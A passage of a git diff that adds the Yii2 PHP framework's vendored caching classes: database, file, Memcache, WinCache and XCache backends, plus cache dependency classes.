($force || mt_rand(0, 1000000) < $this->gcProbability) { + $this->db->createCommand() + ->delete($this->cacheTable, '[[expire]] > 0 AND [[expire]] < ' . time()) + ->execute(); + } + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + $this->db->createCommand() + ->delete($this->cacheTable) + ->execute(); + + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/DbDependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/DbDependency.php new file mode 100644 index 00000000..e5c16768 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/DbDependency.php @@ -0,0 +1,66 @@ + + * @since 2.0 + */ +class DbDependency extends Dependency +{ + /** + * @var string the application component ID of the DB connection. + */ + public $db = 'db'; + /** + * @var string the SQL query whose result is used to determine if the dependency has been changed. + * Only the first row of the query result will be used. + */ + public $sql; + /** + * @var array the parameters (name => value) to be bound to the SQL statement specified by [[sql]]. + */ + public $params = []; + + + /** + * Generates the data needed to determine if dependency has been changed. + * This method returns the value of the global state. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + * @throws InvalidConfigException if [[db]] is not a valid application component ID + */ + protected function generateDependencyData($cache) + { + $db = Instance::ensure($this->db, Connection::className()); + if ($this->sql === null) { + throw new InvalidConfigException("DbDependency::sql must be set."); + } + + if ($db->enableQueryCache) { + // temporarily disable and re-enable query caching + $db->enableQueryCache = false; + $result = $db->createCommand($this->sql, $this->params)->queryOne(); + $db->enableQueryCache = true; + } else { + $result = $db->createCommand($this->sql, $this->params)->queryOne(); + } + + return $result; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/Dependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/Dependency.php new file mode 100644 index 00000000..c6c2475a --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/Dependency.php @@ -0,0 +1,106 @@ + + * @since 2.0 + */ +abstract class Dependency extends \yii\base\Object +{ + /** + * @var mixed the dependency data that is saved in cache and later is compared with the + * latest dependency data. + */ + public $data; + /** + * @var boolean whether this dependency is reusable or not. True value means that dependent + * data for this cache dependency will be generated only once per request. This allows you + * to use the same cache dependency for multiple separate cache calls while generating the same + * page without an overhead of re-evaluating dependency data each time. Defaults to false. + */ + public $reusable = false; + + /** + * @var array static storage of cached data for reusable dependencies. + */ + private static $_reusableData = []; + + + /** + * Evaluates the dependency by generating and saving the data related with dependency. + * This method is invoked by cache before writing data into it. + * @param Cache $cache the cache component that is currently evaluating this dependency + */ + public function evaluateDependency($cache) + { + if ($this->reusable) { + $hash = $this->generateReusableHash(); + if (!array_key_exists($hash, self::$_reusableData)) { + self::$_reusableData[$hash] = $this->generateDependencyData($cache); + } + $this->data = self::$_reusableData[$hash]; + } else { + $this->data = $this->generateDependencyData($cache); + } + } + + /** + * Returns a value indicating whether the dependency has changed. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return boolean whether the dependency has changed. + */ + public function getHasChanged($cache) + { + if ($this->reusable) { + $hash = $this->generateReusableHash(); + if (!array_key_exists($hash, self::$_reusableData)) { + self::$_reusableData[$hash] = $this->generateDependencyData($cache); + } + $data = self::$_reusableData[$hash]; + } else { + $data = $this->generateDependencyData($cache); + } + return $data !== $this->data; + } + + /** + * Resets all cached data for reusable dependencies. + */ + public static function resetReusableData() + { + self::$_reusableData = []; + } + + /** + * Generates a unique hash that can be used for retrieving reusable dependency data. + * @return string a unique hash value for this cache dependency. + * @see reusable + */ + protected function generateReusableHash() + { + $data = $this->data; + $this->data = null; // https://github.com/yiisoft/yii2/issues/3052 + $key = sha1(serialize($this)); + $this->data = $data; + return $key; + } + + /** + * Generates the data needed to determine if dependency has been changed. + * Derived classes should override this method to generate the actual dependency data. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + */ + abstract protected function generateDependencyData($cache); +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/DummyCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/DummyCache.php new file mode 100644 index 00000000..82bfac34 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/DummyCache.php @@ -0,0 +1,81 @@ +cache`. + * By replacing DummyCache with some other cache component, one can quickly switch from + * non-caching mode to caching mode. + * + * @author Qiang Xue + * @since 2.0 + */ +class DummyCache extends Cache +{ + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + return false; + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + return true; + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + return true; + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return true; + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/ExpressionDependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/ExpressionDependency.php new file mode 100644 index 00000000..43cfac75 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/ExpressionDependency.php @@ -0,0 +1,48 @@ + + * @since 2.0 + */ +class ExpressionDependency extends Dependency +{ + /** + * @var string the string representation of a PHP expression whose result is used to determine the dependency. + * A PHP expression can be any PHP code that evaluates to a value. To learn more about what an expression is, + * please refer to the [php manual](http://www.php.net/manual/en/language.expressions.php). + */ + public $expression = 'true'; + /** + * @var mixed custom parameters associated with this dependency. You may get the value + * of this property in [[expression]] using `$this->params`. + */ + public $params; + + + /** + * Generates the data needed to determine if dependency has been changed. + * This method returns the result of the PHP expression. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + */ + protected function generateDependencyData($cache) + { + return eval("return {$this->expression};"); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/FileCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/FileCache.php new file mode 100644 index 00000000..deae61cd --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/FileCache.php @@ -0,0 +1,258 @@ + + * @since 2.0 + */ +class FileCache extends Cache +{ + /** + * @var string a string prefixed to every cache key. This is needed when you store + * cache data under the same [[cachePath]] for different applications to avoid + * conflict. + * + * To ensure interoperability, only alphanumeric characters should be used. + */ + public $keyPrefix = ''; + /** + * @var string the directory to store cache files. You may use path alias here. + * If not set, it will use the "cache" subdirectory under the application runtime path. + */ + public $cachePath = '@runtime/cache'; + /** + * @var string cache file suffix. Defaults to '.bin'. + */ + public $cacheFileSuffix = '.bin'; + /** + * @var integer the level of sub-directories to store cache files. Defaults to 1. + * If the system has huge number of cache files (e.g. one million), you may use a bigger value + * (usually no bigger than 3). Using sub-directories is mainly to ensure the file system + * is not over burdened with a single directory having too many files. + */ + public $directoryLevel = 1; + /** + * @var integer the probability (parts per million) that garbage collection (GC) should be performed + * when storing a piece of data in the cache. Defaults to 10, meaning 0.001% chance. + * This number should be between 0 and 1000000. A value 0 means no GC will be performed at all. + */ + public $gcProbability = 10; + /** + * @var integer the permission to be set for newly created cache files. + * This value will be used by PHP chmod() function. No umask will be applied. + * If not set, the permission will be determined by the current environment. + */ + public $fileMode; + /** + * @var integer the permission to be set for newly created directories. + * This value will be used by PHP chmod() function. No umask will be applied. + * Defaults to 0775, meaning the directory is read-writable by owner and group, + * but read-only for other users. + */ + public $dirMode = 0775; + + + /** + * Initializes this component by ensuring the existence of the cache path. + */ + public function init() + { + parent::init(); + $this->cachePath = Yii::getAlias($this->cachePath); + if (!is_dir($this->cachePath)) { + FileHelper::createDirectory($this->cachePath, $this->dirMode, true); + } + } + + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $cacheFile = $this->getCacheFile($this->buildKey($key)); + + return @filemtime($cacheFile) > time(); + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + $cacheFile = $this->getCacheFile($key); + if (@filemtime($cacheFile) > time()) { + return @file_get_contents($cacheFile); + } else { + return false; + } + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + $cacheFile = $this->getCacheFile($key); + if ($this->directoryLevel > 0) { + @FileHelper::createDirectory(dirname($cacheFile), $this->dirMode, true); + } + if (@file_put_contents($cacheFile, $value, LOCK_EX) !== false) { + if ($this->fileMode !== null) { + @chmod($cacheFile, $this->fileMode); + } + if ($duration <= 0) { + $duration = 31536000; // 1 year + } + + return @touch($cacheFile, $duration + time()); + } else { + return false; + } + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + $cacheFile = $this->getCacheFile($key); + if (@filemtime($cacheFile) > time()) { + return false; + } + + return $this->setValue($key, $value, $duration); + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + $cacheFile = $this->getCacheFile($key); + + return @unlink($cacheFile); + } + + /** + * Returns the cache file path given the cache key. + * @param string $key cache key + * @return string the cache file path + */ + protected function getCacheFile($key) + { + if ($this->directoryLevel > 0) { + $base = $this->cachePath; + for ($i = 0; $i < $this->directoryLevel; ++$i) { + if (($prefix = substr($key, $i + $i, 2)) !== false) { + $base .= DIRECTORY_SEPARATOR . $prefix; + } + } + + return $base . DIRECTORY_SEPARATOR . $key . $this->cacheFileSuffix; + } else { + return $this->cachePath . DIRECTORY_SEPARATOR . $key . $this->cacheFileSuffix; + } + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + $this->gc(true, false); + + return true; + } + + /** + * Removes expired cache files. + * @param boolean $force whether to enforce the garbage collection regardless of [[gcProbability]]. + * Defaults to false, meaning the actual deletion happens with the probability as specified by [[gcProbability]]. + * @param boolean $expiredOnly whether to removed expired cache files only. + * If false, all cache files under [[cachePath]] will be removed. + */ + public function gc($force = false, $expiredOnly = true) + { + if ($force || mt_rand(0, 1000000) < $this->gcProbability) { + $this->gcRecursive($this->cachePath, $expiredOnly); + } + } + + /** + * Recursively removing expired cache files under a directory. + * This method is mainly used by [[gc()]]. + * @param string $path the directory under which expired cache files are removed. + * @param boolean $expiredOnly whether to only remove expired cache files. If false, all files + * under `$path` will be removed. + */ + protected function gcRecursive($path, $expiredOnly) + { + if (($handle = opendir($path)) !== false) { + while (($file = readdir($handle)) !== false) { + if ($file[0] === '.') { + continue; + } + $fullPath = $path . DIRECTORY_SEPARATOR . $file; + if (is_dir($fullPath)) { + $this->gcRecursive($fullPath, $expiredOnly); + if (!$expiredOnly) { + if (!@rmdir($fullPath)) { + $error = error_get_last(); + Yii::warning("Unable to remove directory '{$fullPath}': {$error['message']}", __METHOD__); + } + } + } elseif (!$expiredOnly || $expiredOnly && @filemtime($fullPath) < time()) { + if (!@unlink($fullPath)) { + $error = error_get_last(); + Yii::warning("Unable to remove file '{$fullPath}': {$error['message']}", __METHOD__); + } + } + } + closedir($handle); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/FileDependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/FileDependency.php new file mode 100644 index 00000000..743aa85c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/FileDependency.php @@ -0,0 +1,46 @@ + + * @since 2.0 + */ +class FileDependency extends Dependency +{ + /** + * @var string the file path or path alias whose last modification time is used to + * check if the dependency has been changed. + */ + public $fileName; + + + /** + * Generates the data needed to determine if dependency has been changed. + * This method returns the file's last modification time. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + * @throws InvalidConfigException if [[fileName]] is not set + */ + protected function generateDependencyData($cache) + { + if ($this->fileName === null) { + throw new InvalidConfigException('FileDependency::fileName must be set'); + } + + return @filemtime(Yii::getAlias($this->fileName)); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCache.php new file mode 100644 index 00000000..b46be120 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCache.php @@ -0,0 +1,341 @@ + [ + * 'cache' => [ + * 'class' => 'yii\caching\MemCache', + * 'servers' => [ + * [ + * 'host' => 'server1', + * 'port' => 11211, + * 'weight' => 60, + * ], + * [ + * 'host' => 'server2', + * 'port' => 11211, + * 'weight' => 40, + * ], + * ], + * ], + * ], + * ] + * ~~~ + * + * In the above, two memcache servers are used: server1 and server2. You can configure more properties of + * each server, such as `persistent`, `weight`, `timeout`. Please see [[MemCacheServer]] for available options. + * + * @property \Memcache|\Memcached $memcache The memcache (or memcached) object used by this cache component. + * This property is read-only. + * @property MemCacheServer[] $servers List of memcache server configurations. Note that the type of this + * property differs in getter and setter. See [[getServers()]] and [[setServers()]] for details. + * + * @author Qiang Xue + * @since 2.0 + */ +class MemCache extends Cache +{ + /** + * @var boolean whether to use memcached or memcache as the underlying caching extension. + * If true, [memcached](http://pecl.php.net/package/memcached) will be used. + * If false, [memcache](http://pecl.php.net/package/memcache) will be used. + * Defaults to false. + */ + public $useMemcached = false; + /** + * @var string an ID that identifies a Memcached instance. This property is used only when [[useMemcached]] is true. + * By default the Memcached instances are destroyed at the end of the request. To create an instance that + * persists between requests, you may specify a unique ID for the instance. All instances created with the + * same ID will share the same connection. + * @see http://ca2.php.net/manual/en/memcached.construct.php + */ + public $persistentId; + /** + * @var array options for Memcached. This property is used only when [[useMemcached]] is true. + * @see http://ca2.php.net/manual/en/memcached.setoptions.php + */ + public $options; + /** + * @var string memcached sasl username. This property is used only when [[useMemcached]] is true. + * @see http://php.net/manual/en/memcached.setsaslauthdata.php + */ + public $username; + /** + * @var string memcached sasl password. This property is used only when [[useMemcached]] is true. + * @see http://php.net/manual/en/memcached.setsaslauthdata.php + */ + public $password; + + /** + * @var \Memcache|\Memcached the Memcache instance + */ + private $_cache = null; + /** + * @var array list of memcache server configurations + */ + private $_servers = []; + + + /** + * Initializes this application component. + * It creates the memcache instance and adds memcache servers. + */ + public function init() + { + parent::init(); + $this->addServers($this->getMemcache(), $this->getServers()); + } + + /** + * @param \Memcache|\Memcached $cache + * @param array $servers + * @throws InvalidConfigException + */ + protected function addServers($cache, $servers) + { + if (empty($servers)) { + $servers = [new MemCacheServer([ + 'host' => '127.0.0.1', + 'port' => 11211, + ])]; + } else { + foreach ($servers as $server) { + if ($server->host === null) { + throw new InvalidConfigException("The 'host' property must be specified for every memcache server."); + } + } + } + if ($this->useMemcached) { + $this->addMemcachedServers($cache, $servers); + } else { + $this->addMemcacheServers($cache, $servers); + } + } + + /** + * @param \Memcached $cache + * @param array $servers + */ + protected function addMemcachedServers($cache, $servers) + { + $existingServers = []; + if ($this->persistentId !== null) { + foreach ($cache->getServerList() as $s) { + $existingServers[$s['host'] . ':' . $s['port']] = true; + } + } + foreach ($servers as $server) { + if (empty($existingServers) || !isset($existingServers[$server->host . ':' . $server->port])) { + $cache->addServer($server->host, $server->port, $server->weight); + } + } + } + + /** + * @param \Memcache $cache + * @param array $servers + */ + protected function addMemcacheServers($cache, $servers) + { + $class = new \ReflectionClass($cache); + $paramCount = $class->getMethod('addServer')->getNumberOfParameters(); + foreach ($servers as $server) { + // $timeout is used for memcache versions that do not have $timeoutms parameter + $timeout = (int) ($server->timeout / 1000) + (($server->timeout % 1000 > 0) ? 1 : 0); + if ($paramCount === 9) { + $cache->addServer( + $server->host, + $server->port, + $server->persistent, + $server->weight, + $timeout, + $server->retryInterval, + $server->status, + $server->failureCallback, + $server->timeout + ); + } else { + $cache->addServer( + $server->host, + $server->port, + $server->persistent, + $server->weight, + $timeout, + $server->retryInterval, + $server->status, + $server->failureCallback + ); + } + } + } + + /** + * Returns the underlying memcache (or memcached) object. + * @return \Memcache|\Memcached the memcache (or memcached) object used by this cache component. + * @throws InvalidConfigException if memcache or memcached extension is not loaded + */ + public function getMemcache() + { + if ($this->_cache === null) { + $extension = $this->useMemcached ? 'memcached' : 'memcache'; + if (!extension_loaded($extension)) { + throw new InvalidConfigException("MemCache requires PHP $extension extension to be loaded."); + } + + if ($this->useMemcached) { + $this->_cache = $this->persistentId !== null ? new \Memcached($this->persistentId) : new \Memcached; + if ($this->username !== null || $this->password !== null) { + $this->_cache->setOption(\Memcached::OPT_BINARY_PROTOCOL, true); + $this->_cache->setSaslAuthData($this->username, $this->password); + } + if (!empty($this->options)) { + $this->_cache->setOptions($this->options); + } + } else { + $this->_cache = new \Memcache; + } + } + + return $this->_cache; + } + + /** + * Returns the memcache or memcached server configurations. + * @return MemCacheServer[] list of memcache server configurations. + */ + public function getServers() + { + return $this->_servers; + } + + /** + * @param array $config list of memcache or memcached server configurations. Each element must be an array + * with the following keys: host, port, persistent, weight, timeout, retryInterval, status. + * @see http://php.net/manual/en/memcache.addserver.php + * @see http://php.net/manual/en/memcached.addserver.php + */ + public function setServers($config) + { + foreach ($config as $c) { + $this->_servers[] = new MemCacheServer($c); + } + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + return $this->_cache->get($key); + } + + /** + * Retrieves multiple values from cache with the specified keys. + * @param array $keys a list of keys identifying the cached values + * @return array a list of cached values indexed by the keys + */ + protected function getValues($keys) + { + return $this->useMemcached ? $this->_cache->getMulti($keys) : $this->_cache->get($keys); + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + $expire = $duration > 0 ? $duration + time() : 0; + + return $this->useMemcached ? $this->_cache->set($key, $value, $expire) : $this->_cache->set($key, $value, 0, $expire); + } + + /** + * Stores multiple key-value pairs in cache. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys. Always empty in case of using memcached. + */ + protected function setValues($data, $duration) + { + if ($this->useMemcached) { + $this->_cache->setMulti($data, $duration > 0 ? $duration + time() : 0); + + return []; + } else { + return parent::setValues($data, $duration); + } + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + $expire = $duration > 0 ? $duration + time() : 0; + + return $this->useMemcached ? $this->_cache->add($key, $value, $expire) : $this->_cache->add($key, $value, 0, $expire); + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return $this->_cache->delete($key, 0); + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + return $this->_cache->flush(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCacheServer.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCacheServer.php new file mode 100644 index 00000000..05da7a33 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/MemCacheServer.php @@ -0,0 +1,58 @@ + + * @since 2.0 + */ +class MemCacheServer extends \yii\base\Object +{ + /** + * @var string memcache server hostname or IP address + */ + public $host; + /** + * @var integer memcache server port + */ + public $port = 11211; + /** + * @var integer probability of using this server among all servers. + */ + public $weight = 1; + /** + * @var boolean whether to use a persistent connection. This is used by memcache only. + */ + public $persistent = true; + /** + * @var integer timeout in milliseconds which will be used for connecting to the server. + * This is used by memcache only. For old versions of memcache that only support specifying + * timeout in seconds this will be rounded up to full seconds. + */ + public $timeout = 1000; + /** + * @var integer how often a failed server will be retried (in seconds). This is used by memcache only. + */ + public $retryInterval = 15; + /** + * @var boolean if the server should be flagged as online upon a failure. This is used by memcache only. + */ + public $status = true; + /** + * @var \Closure this callback function will run upon encountering an error. + * The callback is run before fail over is attempted. The function takes two parameters, + * the [[host]] and the [[port]] of the failed server. + * This is used by memcache only. + */ + public $failureCallback; +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/TagDependency.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/TagDependency.php new file mode 100644 index 00000000..9aa75c5c --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/TagDependency.php @@ -0,0 +1,110 @@ + + * @since 2.0 + */ +class TagDependency extends Dependency +{ + /** + * @var string|array a list of tag names for this dependency. For a single tag, you may specify it as a string. + */ + public $tags = []; + + + /** + * Generates the data needed to determine if dependency has been changed. + * This method does nothing in this class. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return mixed the data needed to determine if dependency has been changed. + */ + protected function generateDependencyData($cache) + { + $timestamps = $this->getTimestamps($cache, (array) $this->tags); + + $newKeys = []; + foreach ($timestamps as $key => $timestamp) { + if ($timestamp === false) { + $newKeys[] = $key; + } + } + if (!empty($newKeys)) { + $timestamps = array_merge($timestamps, $this->touchKeys($cache, $newKeys)); + } + + return $timestamps; + } + + /** + * Performs the actual dependency checking. + * @param Cache $cache the cache component that is currently evaluating this dependency + * @return boolean whether the dependency is changed or not. + */ + public function getHasChanged($cache) + { + $timestamps = $this->getTimestamps($cache, (array) $this->tags); + return $timestamps !== $this->data; + } + + /** + * Invalidates all of the cached data items that are associated with any of the specified [[tags]]. + * @param Cache $cache the cache component that caches the data items + * @param string|array $tags + */ + public static function invalidate($cache, $tags) + { + $keys = []; + foreach ((array)$tags as $tag) { + $keys[] = $cache->buildKey([__CLASS__, $tag]); + } + static::touchKeys($cache, $keys); + } + + /** + * Generates the timestamp for the specified cache keys. + * @param Cache $cache + * @param string[] $keys + * @return array the timestamp indexed by cache keys + */ + protected static function touchKeys($cache, $keys) + { + $items = []; + $time = microtime(); + foreach ($keys as $key) { + $items[$key] = $time; + } + $cache->mset($items); + return $items; + } + + /** + * Returns the timestamps for the specified tags. + * @param Cache $cache + * @param string[] $tags + * @return array the timestamps indexed by the specified tags. + */ + protected function getTimestamps($cache, $tags) + { + if (empty($tags)) { + return []; + } + + $keys = []; + foreach ($tags as $tag) { + $keys[] = $cache->buildKey([__CLASS__, $tag]); + } + + return $cache->mget($keys); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/WinCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/WinCache.php new file mode 100644 index 00000000..481d661f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/WinCache.php @@ -0,0 +1,133 @@ + + * @since 2.0 + */ +class WinCache extends Cache +{ + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $key = $this->buildKey($key); + + return wincache_ucache_exists($key); + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + return wincache_ucache_get($key); + } + + /** + * Retrieves multiple values from cache with the specified keys. + * @param array $keys a list of keys identifying the cached values + * @return array a list of cached values indexed by the keys + */ + protected function getValues($keys) + { + return wincache_ucache_get($keys); + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + return wincache_ucache_set($key, $value, $duration); + } + + /** + * Stores multiple key-value pairs in cache. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function setValues($data, $duration) + { + return wincache_ucache_set($data, null, $duration); + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + return wincache_ucache_add($key, $value, $duration); + } + + /** + * Adds multiple key-value pairs to cache. + * The default implementation calls [[addValue()]] multiple times add values one by one. If the underlying cache + * storage supports multiadd, this method should be overridden to exploit that feature. + * @param array $data array where key corresponds to cache key while value is the value stored + * @param integer $duration the number of seconds in which the cached values will expire. 0 means never expire. + * @return array array of failed keys + */ + protected function addValues($data, $duration) + { + return wincache_ucache_add($data, null, $duration); + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return wincache_ucache_delete($key); + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + return wincache_ucache_clear(); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/XCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/XCache.php new file mode 100644 index 00000000..97cd0a92 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/caching/XCache.php @@ -0,0 +1,106 @@ + + * @since 2.0 + */ +class XCache extends Cache +{ + /** + * Checks whether a specified key exists in the cache. + * This can be faster than getting the value from the cache if the data is big. + * Note that this method does not check whether the dependency associated + * with the cached data, if there is any, has changed. So a call to [[get]] + * may return false while exists returns true. + * @param mixed $key a key identifying the cached value. This can be a simple string or + * a complex data structure consisting of factors representing the key. + * @return boolean true if a value exists in cache, false if the value is not in the cache or expired. + */ + public function exists($key) + { + $key = $this->buildKey($key); + + return xcache_isset($key); + } + + /** + * Retrieves a value from cache with a specified key. + * This is the implementation of the method declared in the parent class. + * @param string $key a unique key identifying the cached value + * @return string|boolean the value stored in cache, false if the value is not in the cache or expired. + */ + protected function getValue($key) + { + return xcache_isset($key) ? xcache_get($key) : false; + } + + /** + * Stores a value identified by a key in cache. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function setValue($key, $value, $duration) + { + return xcache_set($key, $value, $duration); + } + + /** + * Stores a value identified by a key into cache if the cache does not contain this key. + * This is the implementation of the method declared in the parent class. + * + * @param string $key the key identifying the value to be cached + * @param string $value the value to be cached + * @param integer $duration the number of seconds in which the cached value will expire. 0 means never expire. + * @return boolean true if the value is successfully stored into cache, false otherwise + */ + protected function addValue($key, $value, $duration) + { + return !xcache_isset($key) ? $this->setValue($key, $value, $duration) : false; + } + + /** + * Deletes a value with the specified key from cache + * This is the implementation of the method declared in the parent class. + * @param string $key the key of the value to be deleted + * @return boolean if no error happens during deletion + */ + protected function deleteValue($key) + { + return xcache_unset($key); + } + + /** + * Deletes all values from cache. + * This is the implementation of the method declared in the parent class. + * @return boolean whether the flush operation was successful. + */ + protected function flushValues() + { + for ($i = 0, $max = xcache_count(XC_TYPE_VAR); $i < $max; $i++) { + if (xcache_clear_cache(XC_TYPE_VAR, $i) === false) { + return false; + } + } + + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/caching/ZendDataCache.php b/php/yii2/basic/vendor/yiisoft/yii2/caching/ZendDataCache.php new file mode 100644 index 00000000..ed799eae --- 